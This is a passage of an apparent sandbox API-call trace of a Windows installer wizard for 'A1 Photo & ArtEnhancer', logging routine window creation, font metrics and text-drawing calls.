cchWideChar=1 | out: lpWideCharStr=" <\x0c") returned 1 [0263.608] DrawTextW (in: hdc=0x2a010b57, lpchText=" <\x0c", cchText=1, lprc=0x18fd24, format=0x540 | out: lpchText=" <\x0c", lprc=0x18fd24) returned 13 [0263.608] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.608] MulDiv (nNumber=14, nNumerator=13, nDenominator=13) returned 14 [0263.608] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.608] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0263.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8eafc, cbMultiByte=112, lpWideCharStr=0x2c8eb74, cchWideChar=112 | out: lpWideCharStr="A1 Photo & ArtEnhancer :\r\nTo continue, click Next. If you would like to select a different folder, click Browse.IIᎨ") returned 112 [0263.608] DrawTextW (in: hdc=0x2a010b57, lpchText="A1 Photo & ArtEnhancer :\r\nTo continue, click Next. If you would like to select a different folder, click Browse.IIᎨ", cchText=112, lprc=0x18fd40, format=0x550 | out: lpchText="A1 Photo & ArtEnhancer :\r\nTo continue, click Next. If you would like to select a different folder, click Browse.IIᎨ", lprc=0x18fd40) returned 26 [0263.609] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.609] MulDiv (nNumber=16, nNumerator=13, nDenominator=13) returned 16 [0263.609] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.609] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fce0 | out: lptm=0x18fce0) returned 1 [0263.609] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0263.609] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fd18 | out: lptm=0x18fd18) returned 1 [0263.609] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x640a01f1 [0263.609] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.609] GetSystemMetrics (nIndex=6) returned 1 [0263.609] MulDiv (nNumber=10, nNumerator=6, nDenominator=6) returned 10 [0263.609] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.609] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fbfc | out: lptm=0x18fbfc) returned 1 [0263.609] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0263.609] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fc34 | out: lptm=0x18fc34) returned 1 [0263.609] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0263.609] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.609] GetSystemMetrics (nIndex=6) returned 1 [0263.609] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.609] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fc1c | out: lptm=0x18fc1c) returned 1 [0263.610] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0263.610] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fc54 | out: lptm=0x18fc54) returned 1 [0263.610] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0263.610] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.610] GetSystemMetrics (nIndex=6) returned 1 [0263.610] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.610] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fd20 | out: lpWndClass=0x18fd20) returned 1 [0263.610] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2032c [0263.610] SetWindowLongA (hWnd=0x2032c, nIndex=-4, dwNewLong=2296812) returned 4274892 [0263.610] GetWindowLongA (hWnd=0x2032c, nIndex=-16) returned 1174405120 [0263.610] GetWindowLongA (hWnd=0x2032c, nIndex=-12) returned 0 [0263.610] SetWindowLongA (hWnd=0x2032c, nIndex=-12, dwNewLong=131884) returned 0 [0263.610] SetPropA (hWnd=0x2032c, lpString=0xc167, hData=0x2c8e408) returned 1 [0263.610] SetPropA (hWnd=0x2032c, lpString=0xc168, hData=0x2c8e408) returned 1 [0263.610] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x81, wParam=0x0, lParam=0x18f878) returned 0x1 [0263.611] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x83, wParam=0x0, lParam=0x18f864) returned 0x0 [0263.611] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x1, wParam=0x0, lParam=0x18f878) returned 0x0 [0263.611] IsIconic (hWnd=0x2032c) returned 0 [0263.611] GetWindowRect (in: hWnd=0x2032c, lpRect=0x18f678 | out: lpRect=0x18f678) returned 1 [0263.611] GetWindowLongA (hWnd=0x2032c, nIndex=-16) returned 1174405120 [0263.611] GetWindowLongA (hWnd=0x2032c, nIndex=-8) returned 262968 [0263.611] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f678 | out: lpPoint=0x18f678) returned 1 [0263.611] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f680 | out: lpPoint=0x18f680) returned 1 [0263.611] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0263.611] GetClientRect (in: hWnd=0x2032c, lpRect=0x18f6a4 | out: lpRect=0x18f6a4) returned 1 [0263.611] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0263.611] IsIconic (hWnd=0x2032c) returned 0 [0263.611] GetWindowRect (in: hWnd=0x2032c, lpRect=0x18f67c | out: lpRect=0x18f67c) returned 1 [0263.611] GetWindowLongA (hWnd=0x2032c, nIndex=-16) returned 1174405120 [0263.611] GetWindowLongA (hWnd=0x2032c, nIndex=-8) returned 262968 [0263.611] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f67c | out: lpPoint=0x18f67c) returned 1 [0263.611] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f684 | out: lpPoint=0x18f684) returned 1 [0263.612] GetWindowThreadProcessId (in: hWnd=0x2032c, lpdwProcessId=0x18f6a0 | out: lpdwProcessId=0x18f6a0) returned 0x8cc [0263.612] GetCurrentProcessId () returned 0x8d0 [0263.612] GetPropA (hWnd=0x2032c, lpString=0xc167) returned 0x2c8e408 [0263.612] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0xbe10, wParam=0x32c0001, lParam=0x2032c) returned 0x0 [0263.612] IsIconic (hWnd=0x2032c) returned 0 [0263.612] GetWindowRect (in: hWnd=0x2032c, lpRect=0x18fc48 | out: lpRect=0x18fc48) returned 1 [0263.612] GetWindowLongA (hWnd=0x2032c, nIndex=-16) returned 1174405120 [0263.612] GetWindowLongA (hWnd=0x2032c, nIndex=-8) returned 262968 [0263.612] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc48 | out: lpPoint=0x18fc48) returned 1 [0263.612] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc50 | out: lpPoint=0x18fc50) returned 1 [0263.612] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.612] SetPropA (hWnd=0x2032c, lpString=0xc167, hData=0x2c8e408) returned 1 [0263.612] SetPropA (hWnd=0x2032c, lpString=0xc168, hData=0x2c8e408) returned 1 [0263.612] SetWindowPos (hWnd=0x2032c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.612] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x46, wParam=0x0, lParam=0x18fd0c) returned 0x0 [0263.612] IsIconic (hWnd=0x2032c) returned 0 [0263.612] GetWindowRect (in: hWnd=0x2032c, lpRect=0x18fad8 | out: lpRect=0x18fad8) returned 1 [0263.612] GetWindowLongA (hWnd=0x2032c, nIndex=-16) returned 1174405120 [0263.612] GetWindowLongA (hWnd=0x2032c, nIndex=-8) returned 262968 [0263.613] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fad8 | out: lpPoint=0x18fad8) returned 1 [0263.613] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fae0 | out: lpPoint=0x18fae0) returned 1 [0263.613] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x47, wParam=0x0, lParam=0x18fd0c) returned 0x0 [0263.613] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.613] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18fca8 | out: lpWndClass=0x18fca8) returned 1 [0263.613] GetClassInfoA (in: hInstance=0x400000, lpClassName="TEdit", lpWndClass=0x18fd10 | out: lpWndClass=0x18fd10) returned 1 [0263.613] CreateWindowExA (dwExStyle=0x200, lpClassName="TEdit", lpWindowName=0x0, dwStyle=0x440100c0, X=0, Y=66, nWidth=332, nHeight=21, hWndParent=0x2032c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2032e [0263.613] SetWindowLongA (hWnd=0x2032e, nIndex=-4, dwNewLong=2296773) returned 4274892 [0263.613] GetWindowLongA (hWnd=0x2032e, nIndex=-16) returned 1140916416 [0263.613] GetWindowLongA (hWnd=0x2032e, nIndex=-12) returned 0 [0263.613] SetWindowLongA (hWnd=0x2032e, nIndex=-12, dwNewLong=131886) returned 0 [0263.613] SetPropA (hWnd=0x2032e, lpString=0xc167, hData=0x2c8eaf4) returned 1 [0263.613] SetPropA (hWnd=0x2032e, lpString=0xc168, hData=0x2c8eaf4) returned 1 [0263.614] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x81, wParam=0x0, lParam=0x18f868) returned 0x1 [0263.614] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x83, wParam=0x0, lParam=0x18f854) returned 0x0 [0263.614] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x1, wParam=0x0, lParam=0x18f868) returned 0x1 [0263.615] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x55, wParam=0x2032e, lParam=0x3) returned 0x1 [0263.615] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2032c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0263.615] IsIconic (hWnd=0x2032e) returned 0 [0263.615] GetWindowRect (in: hWnd=0x2032e, lpRect=0x18f668 | out: lpRect=0x18f668) returned 1 [0263.615] GetWindowLongA (hWnd=0x2032e, nIndex=-16) returned 1140916416 [0263.615] GetWindowLongA (hWnd=0x2032e, nIndex=-8) returned 131884 [0263.615] ScreenToClient (in: hWnd=0x2032c, lpPoint=0x18f668 | out: lpPoint=0x18f668) returned 1 [0263.615] ScreenToClient (in: hWnd=0x2032c, lpPoint=0x18f670 | out: lpPoint=0x18f670) returned 1 [0263.615] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x5, wParam=0x0, lParam=0x110148) returned 0x0 [0263.615] GetClientRect (in: hWnd=0x2032e, lpRect=0x18f694 | out: lpRect=0x18f694) returned 1 [0263.615] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x3, wParam=0x0, lParam=0x440002) returned 0x0 [0263.615] IsIconic (hWnd=0x2032e) returned 0 [0263.615] GetWindowRect (in: hWnd=0x2032e, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0263.615] GetWindowLongA (hWnd=0x2032e, nIndex=-16) returned 1140916416 [0263.615] GetWindowLongA (hWnd=0x2032e, nIndex=-8) returned 131884 [0263.615] ScreenToClient (in: hWnd=0x2032c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0263.615] ScreenToClient (in: hWnd=0x2032c, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0263.615] GetWindowThreadProcessId (in: hWnd=0x2032e, lpdwProcessId=0x18f690 | out: lpdwProcessId=0x18f690) returned 0x8cc [0263.615] GetCurrentProcessId () returned 0x8d0 [0263.616] GetPropA (hWnd=0x2032e, lpString=0xc167) returned 0x2c8eaf4 [0263.616] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xbe10, wParam=0x32e0001, lParam=0x2032e) returned 0x0 [0263.616] IsIconic (hWnd=0x2032e) returned 0 [0263.616] GetWindowRect (in: hWnd=0x2032e, lpRect=0x18fc38 | out: lpRect=0x18fc38) returned 1 [0263.616] GetWindowLongA (hWnd=0x2032e, nIndex=-16) returned 1140916416 [0263.616] GetWindowLongA (hWnd=0x2032e, nIndex=-8) returned 131884 [0263.616] ScreenToClient (in: hWnd=0x2032c, lpPoint=0x18fc38 | out: lpPoint=0x18fc38) returned 1 [0263.616] ScreenToClient (in: hWnd=0x2032c, lpPoint=0x18fc40 | out: lpPoint=0x18fc40) returned 1 [0263.616] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x1 [0263.616] GetWindowLongA (hWnd=0x2032e, nIndex=-16) returned 1140916416 [0263.616] SendMessageA (hWnd=0x2032e, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0263.616] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0263.616] SendMessageA (hWnd=0x2032e, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0263.616] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0263.616] SendMessageA (hWnd=0x2032e, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0263.616] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0263.616] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.616] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fccc | out: lptm=0x18fccc) returned 1 [0263.616] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0263.616] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fd04 | out: lptm=0x18fd04) returned 1 [0263.616] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x290a06a6 [0263.616] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.616] GetSystemMetrics (nIndex=6) returned 1 [0263.616] SetPropA (hWnd=0x2032e, lpString=0xc167, hData=0x2c8eaf4) returned 1 [0263.617] SetPropA (hWnd=0x2032e, lpString=0xc168, hData=0x2c8eaf4) returned 1 [0263.617] SetWindowPos (hWnd=0x2032e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.617] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0x46, wParam=0x0, lParam=0x18fd14) returned 0x0 [0263.617] SHAutoComplete (hwndEdit=0x2032e, dwFlags=0x1) returned 0x0 [0263.668] GetClientRect (in: hWnd=0x2032c, lpRect=0x18fd38 | out: lpRect=0x18fd38) returned 1 [0263.668] GetClientRect (in: hWnd=0x2032c, lpRect=0x18fd3c | out: lpRect=0x18fd3c) returned 1 [0263.668] MulDiv (nNumber=36, nNumerator=13, nDenominator=13) returned 36 [0263.669] GetFullPathNameA (in: lpFileName="C:\\Program Files\\AIEnhancer", nBufferLength=0x1000, lpBuffer=0x18ed7c, lpFilePart=0x18ed78 | out: lpBuffer="C:\\Program Files\\AIEnhancer", lpFilePart=0x18ed78*="AIEnhancer") returned 0x1b [0263.669] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0263.669] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xc, wParam=0x0, lParam=0x2c8ee84) returned 0x1 [0263.669] GetWindowThreadProcessId (in: hWnd=0x2032e, lpdwProcessId=0x18f8ac | out: lpdwProcessId=0x18f8ac) returned 0x8cc [0263.669] GetCurrentProcessId () returned 0x8d0 [0263.669] GetPropA (hWnd=0x2032e, lpString=0xc167) returned 0x2c8eaf4 [0263.669] GetWindowThreadProcessId (in: hWnd=0x2032e, lpdwProcessId=0x18f8ac | out: lpdwProcessId=0x18f8ac) returned 0x8cc [0263.669] GetCurrentProcessId () returned 0x8d0 [0263.669] GetPropA (hWnd=0x2032e, lpString=0xc167) returned 0x2c8eaf4 [0263.669] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x2032e, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0263.669] GetWindowLongA (hWnd=0x2032e, nIndex=-16) returned 1140916416 [0263.669] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.670] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18fcf0 | out: lptm=0x18fcf0) returned 1 [0263.670] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0263.670] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18fd28 | out: lptm=0x18fd28) returned 1 [0263.670] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0263.670] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.670] GetSystemMetrics (nIndex=6) returned 1 [0263.670] GetClientRect (in: hWnd=0x2032c, lpRect=0x18fd78 | out: lpRect=0x18fd78) returned 1 [0263.670] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.670] EnumFontsA (hdc=0x1b0106ca, lpLogfont="Tahoma", lpProc=0x42e798, lParam=0x18fcdf) returned 1 [0263.670] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.670] MulDiv (nNumber=-8, nNumerator=96, nDenominator=72) returned -11 [0263.670] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.670] SelectObject (hdc=0x1b0106ca, h=0x290a06a6) returned 0x18a002e [0263.670] GetTextExtentPointA (in: hdc=0x1b0106ca, lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", c=52, lpsz=0x18fe08 | out: lpsz=0x18fe08) returned 1 [0263.670] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18fdd0 | out: lptm=0x18fdd0) returned 1 [0263.670] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.670] MulDiv (nNumber=40, nNumerator=13, nDenominator=13) returned 40 [0263.670] MulDiv (nNumber=420, nNumerator=6, nDenominator=6) returned 420 [0263.670] MulDiv (nNumber=195, nNumerator=13, nDenominator=13) returned 195 [0263.670] MulDiv (nNumber=0, nNumerator=6, nDenominator=6) returned 0 [0263.670] GetClientRect (in: hWnd=0x2032c, lpRect=0x18fd34 | out: lpRect=0x18fd34) returned 1 [0263.670] MulDiv (nNumber=-14, nNumerator=13, nDenominator=13) returned -14 [0263.670] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xa [0263.671] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xd, wParam=0xb, lParam=0x2c88878) returned 0xa [0263.671] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xc, wParam=0x0, lParam=0x2c83a44) returned 0x1 [0263.671] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f834 | out: lpdwProcessId=0x18f834) returned 0x8cc [0263.671] GetCurrentProcessId () returned 0x8d0 [0263.671] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0263.671] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f834 | out: lpdwProcessId=0x18f834) returned 0x8cc [0263.671] GetCurrentProcessId () returned 0x8d0 [0263.671] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0263.671] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0263.671] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0263.671] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.671] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0263.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8db38, cbMultiByte=1, lpWideCharStr=0x3a9618, cchWideChar=1 | out: lpWideCharStr=" ˈ\x0c") returned 1 [0263.671] DrawTextW (in: hdc=0x1b0106ca, lpchText=" ˈ\x0c", cchText=1, lprc=0x18fd48, format=0x540 | out: lpchText=" ˈ\x0c", lprc=0x18fd48) returned 13 [0263.672] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.672] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.672] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0263.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c79a1c, cbMultiByte=26, lpWideCharStr=0x2c8b164, cchWideChar=26 | out: lpWideCharStr="Activation by @ countryboy") returned 26 [0263.672] DrawTextW (in: hdc=0x1b0106ca, lpchText="Activation by @ countryboy", cchText=26, lprc=0x18fc58, format=0x540 | out: lpchText="Activation by @ countryboy", lprc=0x18fc58) returned 13 [0263.672] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.672] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.672] SelectObject (hdc=0x1b0106ca, h=0x290a06a6) returned 0x18a002e [0263.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c80020, cbMultiByte=26, lpWideCharStr=0x2c8b164, cchWideChar=26 | out: lpWideCharStr="Activation by @ countryboy") returned 26 [0263.672] DrawTextW (in: hdc=0x1b0106ca, lpchText="Activation by @ countryboy", cchText=26, lprc=0x18fc78, format=0x540 | out: lpchText="Activation by @ countryboy", lprc=0x18fc78) returned 13 [0263.673] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fc24 | out: lpRect=0x18fc24) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fbc8 | out: lpRect=0x18fbc8) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fbc0 | out: lpRect=0x18fbc0) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd78 | out: lpRect=0x18fd78) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd1c | out: lpRect=0x18fd1c) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd14 | out: lpRect=0x18fd14) returned 1 [0263.673] MulDiv (nNumber=10, nNumerator=6, nDenominator=6) returned 10 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd9c | out: lpRect=0x18fd9c) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd40 | out: lpRect=0x18fd40) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd38 | out: lpRect=0x18fd38) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd9c | out: lpRect=0x18fd9c) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd40 | out: lpRect=0x18fd40) returned 1 [0263.673] IsIconic (hWnd=0xc0060) returned 0 [0263.673] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd38 | out: lpRect=0x18fd38) returned 1 [0263.674] GetClientRect (in: hWnd=0x40338, lpRect=0x18fdd4 | out: lpRect=0x18fdd4) returned 1 [0263.674] IsRectEmpty (lprc=0x18fdd4) returned 0 [0263.674] IsRectEmpty (lprc=0x18fdd4) returned 0 [0263.674] GetDC (hWnd=0x0) returned 0x1b0106ca [0263.674] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18fce4 | out: lptm=0x18fce4) returned 1 [0263.674] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0263.674] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18fd1c | out: lptm=0x18fd1c) returned 1 [0263.674] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0263.674] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0263.674] GetSystemMetrics (nIndex=6) returned 1 [0263.674] MulDiv (nNumber=0, nNumerator=6, nDenominator=6) returned 0 [0263.674] MulDiv (nNumber=0, nNumerator=13, nDenominator=13) returned 0 [0263.674] MulDiv (nNumber=417, nNumerator=6, nDenominator=6) returned 417 [0263.674] MulDiv (nNumber=237, nNumerator=6, nDenominator=6) returned 237 [0263.674] GetCapture () returned 0x0 [0263.674] GetCursorPos (in: lpPoint=0x18fdc0 | out: lpPoint=0x18fdc0*(x=748, y=485)) returned 1 [0263.674] WindowFromPoint (Point=0x2ec) returned 0x10116 [0263.675] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0263.675] GetCurrentProcessId () returned 0x8d0 [0263.675] GetParent (hWnd=0x10116) returned 0x10114 [0263.675] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0263.675] GetCurrentProcessId () returned 0x8d0 [0263.675] GetParent (hWnd=0x10114) returned 0x20082 [0263.675] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0263.675] GetCurrentProcessId () returned 0x8d0 [0263.675] GetParent (hWnd=0x20082) returned 0x0 [0263.675] GetClientRect (in: hWnd=0x60050, lpRect=0x18fed8 | out: lpRect=0x18fed8) returned 1 [0263.675] IsRectEmpty (lprc=0x18fed8) returned 0 [0263.675] IsRectEmpty (lprc=0x18fed8) returned 0 [0263.675] IsRectEmpty (lprc=0x18fed8) returned 0 [0263.675] GetClientRect (in: hWnd=0x60050, lpRect=0x18fed8 | out: lpRect=0x18fed8) returned 1 [0263.675] IsRectEmpty (lprc=0x18fed8) returned 0 [0263.675] IsRectEmpty (lprc=0x18fed8) returned 0 [0263.675] IsIconic (hWnd=0xc0060) returned 0 [0263.675] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fee8 | out: lpRect=0x18fee8) returned 1 [0263.675] IsIconic (hWnd=0xc0060) returned 0 [0263.675] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe8c | out: lpRect=0x18fe8c) returned 1 [0263.675] IsIconic (hWnd=0xc0060) returned 0 [0263.675] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe84 | out: lpRect=0x18fe84) returned 1 [0263.675] IsIconic (hWnd=0xc0060) returned 0 [0263.675] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fedc | out: lpRect=0x18fedc) returned 1 [0263.675] IsIconic (hWnd=0xc0060) returned 0 [0263.675] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe80 | out: lpRect=0x18fe80) returned 1 [0263.675] IsIconic (hWnd=0xc0060) returned 0 [0263.675] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe78 | out: lpRect=0x18fe78) returned 1 [0263.675] GetSystemMenu (hWnd=0xc0060, bRevert=0) returned 0x70217 [0263.675] EnableMenuItem (hMenu=0x70217, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0263.675] SetActiveWindow (hWnd=0x2024a) returned 0x2024a [0263.676] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.676] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18fdc8 | out: lpWndClass=0x18fdc8) returned 1 [0263.676] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewButton", lpWndClass=0x18fe30 | out: lpWndClass=0x18fe30) returned 1 [0263.676] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewButton", lpWindowName="Cancel", dwStyle=0x44010000, X=412, Y=327, nWidth=75, nHeight=23, hWndParent=0xc0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1033e [0263.676] SetWindowLongA (hWnd=0x1033e, nIndex=-4, dwNewLong=2297787) returned 4274892 [0263.676] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1140916224 [0263.676] GetWindowLongA (hWnd=0x1033e, nIndex=-12) returned 0 [0263.676] 